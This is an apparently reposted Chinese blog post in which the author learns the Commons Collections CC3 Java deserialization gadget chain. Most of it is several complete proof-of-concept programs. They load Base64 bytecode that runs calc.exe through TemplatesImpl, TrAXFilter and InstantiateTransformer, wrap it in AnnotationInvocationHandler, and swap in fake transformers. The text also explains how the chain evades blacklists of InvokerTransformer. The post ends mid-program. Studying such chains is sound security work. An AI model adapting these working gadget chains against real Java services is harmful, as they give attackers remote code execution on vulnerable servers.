ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CC3--

2021-12-21 10:00:08  阅读:199  来源: 互联网

标签:java -- import commons CC3 org apache new


目录

1. 前言

接着干CC链,就跟着 feng 师傅的博客来了

前面刚学习了 利用 TemplatesImpl来动态加载字节码,我们通过调用它的 newTransformer()方法,即可执行这段字节码的类构造器。

那么怎么在反序列化中利用呢?那就是 CC3 了

1.1 利用思路

Y4

绕过了对 InvokerTransformer 的利用,替代方法是这⾥⽤⼀个新的
Transformerorg.apache.commons.collections.functors.InstantiateTransformer,通过利⽤ nstantiateTransformer来调⽤到 TrAXFilter构造⽅法,再利
⽤其构造方法⾥的 templates.newTransformer()调⽤到 TemplatesImpl⾥的字节码

2. 分析

2.0介绍

这里只是最最基本的CC3 的分析,高级的可见 3.x

本来把CC1忘记了,然后看一下,跟一下就想起来了。

总的来说,就是CC1的Map.put()触发第三个参数的transform()。然后走的ChainedTransformer#transform()。然后ChainedTransformer#transform()中放的显示 TemplatesTmpl这个类,然后是它的newTransformer()这个方法,然后就反射调用了。达到了TemplatesTmpl.newTransformer()的效果

先看一下 CC1 的东西

package aa;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class cc3test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

然后再结合上一个的字节码的demo


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.lang.reflect.Field;
import java.util.Base64;

public class hellotest {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldVaule(templates,"_bytecodes",new byte[][]{bytes});
        setFieldVaule(templates,"_name","adam");
        setFieldVaule(templates,"_tfactory",new TransformerFactoryImpl());
        templates.newTransformer();
    }

    private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

结合起来:

package aa;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class cc3test {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");

        TemplatesImpl templates = new TemplatesImpl();
        setFieldVaule(templates,"_bytecodes",new byte[][]{bytes});
        setFieldVaule(templates,"_name","adam");
        setFieldVaule(templates,"_tfactory",new TransformerFactoryImpl());


        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates),
//            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
            new InvokerTransformer("newTransformer", null,null),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
    private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

2.1 疑问来了

这也只是换了 触发的时候啊,我们当时 学习 动态加载字节码的时候,直接调用TemplatesTmpl.newTransformer()这个没有报错啊,

那么这里为什么就要换为反射的方法了啊?难道是它不能够直接序列化,反序列化?

好像没影响啊, 感觉有问题呢?????

package aa;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class cc3test {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");

        TemplatesImpl templates = new TemplatesImpl();
        setFieldVaule(templates,"_bytecodes",new byte[][]{bytes});
        setFieldVaule(templates,"_name","adam");
        setFieldVaule(templates,"_tfactory",new TransformerFactoryImpl());


        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates),
//            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
            new InvokerTransformer("newTransformer", null,null),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");


        byte[] bytess = serialize(outerMap);
        System.out.println(new String(bytess));
        unserialize(bytess);

    }

    private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
        ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
        ois.readObject();
    }

    private static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
        // 这里是用 ByteArrayOutputStram()来盛放。
        ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
        oos.writeObject(o);
        return baos.toByteArray();
    }

    private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

不知道能不能反序列化,,,

2.2 接着走吧

其实 CC3 不是这个样子的,CC3 是为了 绕过一些规则对于 InvokerTransformer 的限制的,也就是说有一些反序列化的过滤器中的黑名单中有 InvokerTransformer,所以不使用InvokerTransformer的CC3才出现了。为了绕过黑名单的检测。

ysoserial的作者找到了com.sun.org.apache.xalan.internal.xsltc.trax下面的TrAXFilter类,它的构造器非常有意思,调用了newTransformer

  public TrAXFilter (Templates templates)
    throws TransformerConfigurationException
  {
    m_templates = templates;
    m_transformer = (TransformerImpl)templates.newTransformer();
  }

当然没有InvokerTransformer了,我们也就没有办法调用反射来走TrAXFilet的构造方法了。

那么我们要使用的化,就需要在 TrAXFilter的构造参数中传入TemplatesImpl类了。然后就能够在 new TrAXFilter(TemplatesImpl)或者classloader.newInstance(TmplatesImpl) 的时候就执行了。

那么我们就要找一个类,它在反序列化readObject() 的时候能够实例化 TrAXFilter这个类才行啊。而且传入的template要可控才行呢

或者不用它的readObject()。是这个过程中的一个方法也行。这个方法能够例化 TrAXFilter这个类才行啊。而且传入的template要可控

然后ysoserial的作者就找到了CommonsCollections中的这个InstantiateTransformer类:


/**
 * Transformer implementation that creates a new object instance by reflection.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 1.6 $ $Date: 2004/05/16 11:36:31 $
 *
 * @author Stephen Colebourne
 */
public class InstantiateTransformer implements Transformer, Serializable {

它继承自Transformer类,然后通过反射来创建一个对象。

构造方法: 他还有两个对象,分别是反射的参数类型 , 和 反射的参数

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }
    /** The constructor parameter types */
    private final Class[] iParamTypes;
    /** The constructor arguments */
    private final Object[] iArgs;

和一个transform()方法


    /*Transforms the input Class object to a result by instantiation.*/
    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

简洁明了,通过反射获取构造器,然后实例化,并返回这个对象,

我们只要替换下这个就行了。POC如下吧:

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates}
                )
        };

TrAXFilter就是传入的 input。然后,就是走TemplateImpl构造函数了。它继承自Templates。所以这里就写这个.class了。

2.3 假的POC

总体的POC

package aa;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class cc3test {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");

        TemplatesImpl templates = new TemplatesImpl();
        setFieldVaule(templates, "_bytecodes", new byte[][]{bytes});
        setFieldVaule(templates, "_name", "adam");
        setFieldVaule(templates, "_tfactory", new TransformerFactoryImpl());


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates}
                )
        };
        
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }

        private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj,value);
        }
    }

这个只是正向的,我们要反向的时候走一波

正向的时候是 Map.put()触发的,那么我们要找的就是一个类的readObject(),能够触发这个Map.put

刚刚画了半个小时去复习了一下CC1-上:

最终是MapEntry#setValue()触发的,会触发TransformedMaptransfrom()

然后把CC1 的那个AnnotationInvocationHandler给拿过来了。但是出问题,在outermap.put()之后就停掉了

package aa;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class cc3test {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");

        TemplatesImpl templates = new TemplatesImpl();
        setFieldVaule(templates, "_bytecodes", new byte[][]{bytes});
        setFieldVaule(templates, "_name", "adam");
        setFieldVaule(templates, "_tfactory", new TransformerFactoryImpl());


        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates}
            )
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        byte[] bytes1 = serialize(handler);
        System.out.println(new String(bytes1));
        unserialize(bytes1);

    }

    private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
        ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
        ois.readObject();
    }

    private static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
        // 这里是用 ByteArrayOutputStram()来盛放。
        ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
        oos.writeObject(o);
        return baos.toByteArray();
    }


    private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

2.4 为何 outermap.put() 会报错?

是我们要换为 fake 的才行,然后后面用反射设置私有属性,再给他换成正确的来。在 CC1 -忘了上下,有讲到这个点,还是

然后在p神的代码发现,

在这里插入图片描述

想起来了吧,开始的时候先设置为 fake

这个POC:中已经将哪里是fake。哪里是true都用注释弄出来了都

package aa;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class cc3test {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");

        TemplatesImpl templates = new TemplatesImpl();
        setFieldVaule(templates, "_bytecodes", new byte[][]{bytes});
        setFieldVaule(templates, "_name", "adam");
        setFieldVaule(templates, "_tfactory", new TransformerFactoryImpl());


        // fake的
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates}
            )
        };

//        Transformer transformerChain = new ChainedTransformer(transformers);
        //先使用fake
        Transformer transformerChain = new ChainedTransformer(faketransformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        //换为真的
        setFieldVaule(transformerChain,"iTransformers",transformers);


        byte[] bytes1 = serialize(handler);
        System.out.println(new String(bytes1));
        unserialize(bytes1);

    }

    private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
        ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
        ois.readObject();
    }

    private static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
        // 这里是用 ByteArrayOutputStram()来盛放。
